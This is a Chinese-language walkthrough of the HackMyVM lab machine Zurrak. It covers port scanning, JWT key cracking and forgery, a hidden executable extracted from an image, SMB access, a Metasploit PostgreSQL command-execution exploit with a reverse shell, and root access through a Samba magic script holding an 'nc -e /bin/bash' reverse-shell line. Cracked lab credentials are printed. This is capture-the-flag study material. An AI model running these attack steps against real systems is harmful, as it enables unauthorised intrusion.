[HackMyVM]靶场Zurrak

news2024/10/10 23:37:07

难度:medium

kali:192.168.56.104

靶机:192.168.56.140

端口扫描

# nmap -sV -A 192.168.56.140
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 16:59 CST
Nmap scan report for 192.168.56.140
Host is up (0.00039s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-title: Login Page
|_Requested resource was login.php
139/tcp  open  netbios-ssn Samba smbd 4.6.2
445/tcp  open  netbios-ssn Samba smbd 4.6.2
5432/tcp open  postgresql  PostgreSQL DB 9.6.0 or later
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=zurrak
| Subject Alternative Name: DNS:zurrak
| Not valid before: 2023-10-20T19:29:16
|_Not valid after:  2033-10-17T19:29:16
| fingerprint-strings: 
|   SMBProgNeg: 
|     SFATAL
|     VFATAL
|     C0A000
|     Munsupported frontend protocol 65363.19778: server supports 3.0 to 3.0
|     Fpostmaster.c
|     L2195
|_    RProcessStartupPacket
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5432-TCP:V=7.94SVN%I=7%D=3/30%Time=6607D461%P=x86_64-pc-linux-gnu%r
SF:(SMBProgNeg,8C,"E\0\0\0\x8bSFATAL\0VFATAL\0C0A000\0Munsupported\x20fron
SF:tend\x20protocol\x2065363\.19778:\x20server\x20supports\x203\.0\x20to\x
SF:203\.0\0Fpostmaster\.c\0L2195\0RProcessStartupPacket\0\0");
MAC Address: 08:00:27:62:31:5D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

Host script results:
| smb2-time: 
|   date: 2024-03-30T16:59:18
|_  start_date: N/A
|_clock-skew: 7h59m58s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.56.140

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.05 seconds

开启了  80 139 445 5432 四个端口没有22

先smb枚举一下

# enum4linux 192.168.56.140
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Mar 30 17:03:12 2024

 =========================================( Target Information )=========================================                                                                                     
                                                                                               
Target ........... 192.168.56.140                                                              
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.56.140 )===========================                                                                                     
                                                                                               
                                                                                               
[E] Can't find workgroup/domain                                                                
                                                                                               
                                                                                               

 ===============================( Nbtstat Information for 192.168.56.140 )===============================                                                                                     
                                                                                               
Looking up status of 192.168.56.140                                                            
No reply from 192.168.56.140

 ==================================( Session Check on 192.168.56.140 )==================================                                                                                      
                                                                                               
                                                                                               
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests. 
                                                                                              

无果

浅扫一下目录

# gobuster dir -u http://192.168.56.140   -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.140
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/index.php            (Status: 302) [Size: 1270] [--> login.php]
/.html                (Status: 403) [Size: 279]
/login.php            (Status: 200) [Size: 2041]
/admin.php            (Status: 302) [Size: 2625] [--> login.php]
/vendor               (Status: 301) [Size: 317] [--> http://192.168.56.140/vendor/]
/index_.php           (Status: 200) [Size: 200]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
Progress: 346965 / 1323366 (26.22%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 347585 / 1323366 (26.27%)
===============================================================
Finished
===============================================================

可以看到有login admin index_ 几个文件 估计是要登录

去web看一下

一个朴素的登录界面,源码里给了账号密码

username:internal@zurrak.htb && password:testsite

登录上一片空白,看源码

自动跳转回index.php

想起目录扫描出来一个index_.php去看

乍一看以为base64其实是jwt

暂时不知道有什么用

回到index.php,抓包发现cookie里面有token也是一个jwt,解析一下

这次不一样了,多一个isAdmin参数 

那就爆破jwt,用jwt_tools

爆破出来key是TEST123

然后伪造jwt

利用这个token去admin.php

please don't ever use these images for file transfers!!!

把隐写提示甩脸上了

在第三个图片隐写了一个exe文件

# stegseek zurrakhearts.jpg 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""

[i] Original filename: "asli.exe".
[i] Extracting to "zurrakhearts.jpg.out".

放到ida64反编译

转化成字符串发现是ilovecats

有密码了,但是没有用户名,猜测是exe文件名asli

尝试smb连接

┌──(root㉿kali2)-[~/Desktop]
└─# smbclient //192.168.56.140/share -U asli --password ilovecats
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Oct 21 05:14:00 2023
  ..                                  D        0  Sat Oct 21 04:36:51 2023
  DONTDELETE                          D        0  Sat Oct 21 11:44:44 2023
  operations                          D        0  Sat Oct 21 12:04:30 2023
  backup.reg                          N     1792  Sun Jul 24 13:30:09 2011
  human_resources                     D        0  Sun Apr  2 13:30:09 2017
  launch_options.txt                  N       21  Wed Dec 14 11:55:16 2022

                9232860 blocks of size 1024. 6208916 blocks available

连接成功(后面我都不会,看着wp做的,也记录一下)

从\operations\New folder\deploy\3\latest\approved 目录下载zurrak.old.vmdk 

\operations 跳转到New folder可以用cd "New folder",不然有空格挂载不了

┌──(root㉿kali2)-[~/Desktop]
└─# qemu-system-x86_64 -hda zurrak.old.vmdk -display gtk,show-cursor=on

挂在一个这个虚拟镜像

输入c进入grub模式

输入 cat (hd0,1)/etc/shadow可以看到root和postgres的密码

md我不知道该如何下载到我的kali上,这里先不说,继续

将root和postgres用john爆破

得到postgres数据库的密码是baller15

然后用msf的exp

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > options

Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   DATABASE           template1        yes       The database to authenticate against
   DUMP_TABLE_OUTPUT  false            no        select payload command output from t
                                                 able (For Debugging)
   PASSWORD           baller15         no        The password for the specified usern
                                                 ame. Leave blank for a random passwo
                                                 rd.
   RHOSTS             192.168.56.140   yes       The target host(s), see https://docs
                                                 .metasploit.com/docs/using-metasploi
                                                 t/basics/using-metasploit.html
   RPORT              5432             yes       The target port (TCP)
   TABLENAME          BTgo9XNkX6n      yes       A table name that does not exist (To
                                                  avoid deletion)
   USERNAME           postgres         yes       The username to authenticate as


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.104   yes       The listen address (an interface may be specifie
                                     d)
   LPORT  4567             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

[-] Handler failed to bind to 192.168.56.104:4567:-  -
[-] Handler failed to bind to 0.0.0.0:4567:-  -
[-] 192.168.56.140:5432 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4567).
[*] Exploit completed, but no session was created.
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.56.104:4567 
[*] 192.168.56.140:5432 - 192.168.56.140:5432 - PostgreSQL 15.3 (Debian 15.3-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 192.168.56.140:5432 - Exploiting...
[+] 192.168.56.140:5432 - 192.168.56.140:5432 - BTgo9XNkX6n dropped successfully
[+] 192.168.56.140:5432 - 192.168.56.140:5432 - BTgo9XNkX6n created successfully
[+] 192.168.56.140:5432 - 192.168.56.140:5432 - BTgo9XNkX6n copied successfully(valid syntax/command)
[+] 192.168.56.140:5432 - 192.168.56.140:5432 - BTgo9XNkX6n dropped successfully(Cleaned)
[*] 192.168.56.140:5432 - Exploit Succeeded
[*] Command shell session 1 opened (192.168.56.104:4567 -> 192.168.56.140:54666) at 2024-03-30 18:58:11 +0800

配置一下password lhost lport rhost然后run就能拿到shell

我习惯反弹到kali上

postgres@zurrak:/var/lib/postgresql/15/main$ whoami
postgres
postgres@zurrak:/var/lib/postgresql/15/main$ ls
base          pg_multixact  pg_stat      PG_VERSION            postmaster.pid
global        pg_notify     pg_stat_tmp  pg_wal
pg_commit_ts  pg_replslot   pg_subtrans  pg_xact
pg_dynshmem   pg_serial     pg_tblspc    postgresql.auto.conf
pg_logical    pg_snapshots  pg_twophase  postmaster.opts
postgres@zurrak:/var/lib/postgresql/15/main$ cd /home
postgres@zurrak:/home$ ls -al
total 12
drwxr-xr-x  3 root     root     4096 Oct 20 19:06 .
drwxr-xr-x 18 root     root     4096 Oct 20 15:22 ..
drwxr-xr-x  2 postgres postgres 4096 Oct 24 18:03 postgres
postgres@zurrak:/home$ cd postgres
postgres@zurrak:/home/postgres$ ;s
bash: syntax error near unexpected token `;'
postgres@zurrak:/home/postgres$ ls
emergency.sh  user.txt
postgres@zurrak:/home/postgres$ cat user.txt
fe8f97f109ceb0362c95e60338c4c1a8
postgres@zurrak:/home/postgres$ 

很不容易地拿到了user flag

还有一个emergency.sh文件

然后传linpeas跑一下

postgres@zurrak:/home/postgres$ wget http://192.168.56.104:6677/linpeas.sh
--2024-03-30 15:04:13--  http://192.168.56.104:6677/linpeas.sh
Connecting to 192.168.56.104:6677... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828172 (809K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 808.76K  --.-KB/s    in 0.02s   

2024-03-30 15:04:13 (51.9 MB/s) - ‘linpeas.sh’ saved [828172/828172]

postgres@zurrak:/home/postgres$ ls
emergency.sh  linpeas.sh  user.txt
postgres@zurrak:/home/postgres$ chmod +x linpeas.sh
postgres@zurrak:/home/postgres$ ./linpeas.sh
╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices                                                                         
UUID=86e74abe-2367-4664-8041-b897fb803a6d /               ext4    errors=remount-ro 0       1                     
UUID=68b2a8a8-27f9-4255-9e14-180abd1261c4 none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

//127.0.0.1/internal    uid=emre, pw=daily666

发现一个本地smb

看一下smb配置文件

#cat /etc/samba/smb.conf 
...
[ipc$]
hosts allow = 127.0.0.1
hosts deny = 0.0.0.0/0
guest ok = no
browseable = no

[share]
comment = "zurrak operations share"
path = /opt/smbshare
hosts allow = 0.0.0.0/0
guest ok = no
browseable = yes
writable = no
valid users = emre, asli

[internal]
comment = "zurrak internal share"
path = /opt/internal
hosts allow = 127.0.0.1
guest ok = no
browseable = yes
writable = yes
valid users = emre
create mask = 0777
directory mask = 0777
force user = root
magic script = emergency.sh

127.0.0.1的smb会执行emergency.sh脚本,那么我们劫持一下然后反弹shell

​
postgres@zurrak:/home/postgres$ cat emergency.sh
#!/bin/bash
nc -e /bin/bash 192.168.56.104 4444
#smbclient \\\\127.0.0.1/internal -U emre%daily666 -c "put emergency.sh"

 

​
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.140] 40948
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
bash_history
root.txt
cat root.txt
66fce7650a88ac2afd99d061e1c6a4df

照葫芦画瓢也是拿到了root权限。medium,哎我太菜了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1567621.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三相异步发电机在两相坐标系下的数学模型和状态方程

目录 1、异步发电机在两相静止坐标系下的数学模型 (1)磁链方程: (2)电压方程 (3)转矩方程 (4)异步电动机在两相静止坐标系( )上的数学模型 2、…

AcWing---转圈游戏---快速幂

太久没写快速幂了... 这是一道数学题orz,能看出来的话答案就是 ,但是很大,同时还要mod n,直接用快速幂即可。 快速幂模版: long long int power(long long int a,long long int b,long long int mod){long long int r…

YUNBEE云贝-技术分享:PostgreSQL分区表

引言 PostgreSQL作为一款高度可扩展的企业级关系型数据库管理系统,其内置的分区表功能在处理大规模数据场景中扮演着重要角色。本文将深入探讨PostgreSQL分区表的实现逻辑、详细实验过程,并辅以分区表相关的视图查询、分区表维护及优化案例,…

基于深度学习的番茄成熟度检测系统(网页版+YOLOv8/v7/v6/v5代码+训练数据集)

摘要:在本博客中,我们深入探讨了基于YOLOv8/v7/v6/v5的番茄成熟度检测系统。核心技术基于YOLOv8,同时融合了YOLOv7、YOLOv6、YOLOv5的算法,对比了它们在性能指标上的差异。本文详细介绍了国内外在此领域的研究现状、数据集的处理方…

OpenHarmony实战:轻量级系统之移植验证

OpenHarmony芯片移植完成后,需要开展OpenHarmony兼容性测试以及芯片SDK功能性测试。除可获得测试认证之外,还可以在开发阶段提前发现缺陷,大幅提高代码质量。 OpenHarmony兼容性测试 OpenHarmony兼容性测试是XTS(OpenHarmony生态…

基于深度学习的植物叶片病毒识别系统(网页版+YOLOv8/v7/v6/v5代码+训练数据集)

摘要:本文深入研究了基于YOLOv8/v7/v6/v5的植物叶片病毒识别系统,核心采用YOLOv8并整合了YOLOv7、YOLOv6、YOLOv5算法,进行性能指标对比;详述了国内外研究现状、数据集处理、算法原理、模型构建与训练代码,及基于Strea…

手搓链表(java)(不完整)

手搓链表(java)(不完整) 文章目录 手搓链表(java)(不完整)前言一、代码1.MyLinkedList类:2.测试类: 总结 前言 提示:以下是本篇文章正文内容&…

精品PPT-2023年无人驾驶汽车车联网网络安全方案

以下是部分PPT内容,请您参阅。如需下载完整PPTX文件,请前往星球获取: 无人驾驶安全架构是一个复杂的系统,它涉及到多个关键组件和层次,以确保无人驾驶车辆在各种情况下都能安全、可靠地运行。以下是一些主要的无人驾驶…

苹果手表Apple Watch录了两个半小时的录音,却只能播放4秒,同步到手机也一样,还能修复好吗?

好多人遇到这个情况,用苹果手表Apple Watch录音,有的录1个多小时,有的录了3、4小时,甚至更长时间,因为手表没电,忘记保存等原因造成录音损坏,都是只能播放4秒,同步到手机也一样&…

AI绘图:Stable Diffusion ComfyUI局部重绘与智能扩图全面教程

前言 在数字艺术创作中,局部重绘和智能扩图是两个非常重要的功能。局部重绘允许我们在保留原有图像的基础上,对特定区域进行修改或创新。而智能扩图则能够帮助我们在图像的边缘添加新的元素,从而扩展图像的内容。本文将详细介绍如何在Stable…

鼎捷T100二次开发资料大全 T100 webservice开发明细 4GL从入门到实战 T100实战例子 鼎捷二次开发DEMO 鼎捷单档双档开发

在ERP实施公司做顾问四五年,参与企业实施ERP十多个项目,熟悉企业ERP流程,在实施过程遇到众多问题,提出了不少根据企业具体情况的解决方案。   曾经参与鼎捷Tiptop GP、T100实施十多个项目,具有丰富的二次开发经验&am…

代码随想录算法训练营DAY16|C++二叉树Part.3|104.二叉树的最大深度、111.二叉树的最小深度、222.完全二叉树的节点个数

文章目录 104.二叉树的最大深度思路伪代码CPP代码 111.二叉树的最小深度思路伪代码CPP代码 222.完全二叉树的节点个数思路视为普通二叉树-递归视为普通二叉树-迭代利用完全二叉树特性-递归 伪代码视为普通二叉树-递归伪代码视为普通二叉树-迭代伪代码利用完全二叉树特性-递归伪…

SCP 从Linux快速下载文件到Windows本地

需求:通过mobaxterm将大文件拖动到windows本地速度太慢。 环境:本地是Windows,安装了Git。 操作:进入文件夹内,鼠标右键,点击Git Bash here,然后输入命令即可。这样的话,其实自己本…

维基百科推广方法及注意事项解析-华媒舍

1. 维基百科 维基百科是一个自由而开放的在线百科全书,由志愿者共同创建和编辑。它是全球最大的百科全书,包含了广泛的主题和知识。作为一个公共平台,维基百科是广告和宣传的禁区,但它可以是一个有效的推广工具,帮助您…

修改element-ui table组件展开/收起图标、支持点击行展开/收起、隐藏不可展开行得图标

Element中table默认支持的,展开和收起功能,如下: 针对表格的展开收起,本文改造的主要有3点: 1、修改展开/收起的图标; 2、对于不支持展开/收起的行,隐藏图标; 3、点击行&#xff0…

【Clang+LLVM+honggfuzz学习】(二)honggfuzz的安装与试用

书接上篇【ClangLLVMhonggfuzz学习】(一)LLVM简介、安装和第一个Hello Pass 本篇介绍honggfuzz的安装与简单使用 本文架构,PS:可选择观看哦 前言git安装试用编写测试文件demo.c设置环境变量开始fuzzFuzz-ing疑问 前言 漏洞检测做毕设&#…

mac/win使用pyinstaller打包app/exe文件,活着执行脚本,双击运行

🌸 踩坑记录 python环境最好使用虚拟环境,推荐使用conda管理,并且若本地有python环境,不要使用和 本地环境版本 相同的虚拟环境 这里踩坑较多,已经记不清楚注意点 虚拟环境python版本不要和本地环境一样 mac/win只能…

【Linux】从零认识文件操作

送给大家一句话: 要相信,所有的不美好都是为了迎接美好,所有的困难都会为努力让道。 —— 简蔓《巧克力色微凉青春》 开始理解基础 IO 吧! 1 前言2 知识回顾3 理解文件3.1 进程和文件的关系3.2 文件的系统调用openwrite文件 fd 值…

问题解决:写CSDN博文时图片大小不适应,不清晰,没法排版

项目环境: Window10,Edge123.0.2420.65 问题描述: 当我在CSDN写博文的时候,会经常插入一些图片,但有时候我插入的图片太大了,影响了整体排版。 比如我加入了一张图片,就变成了下面这个样子&…

前端三剑客 —— CSS (第三节)

目录 上节回顾: 1.CSS使用有以下几种样式; 2.选择器 1.基本选择器 2.包含选择器 3.属性选择器 [] 4.伪类选择器 : 5.伪元素选择器 ::before :after 3.常见样式的使用 常见样式参考表 一些特殊样式 媒体查询 自定义字体 变换效果 translate&…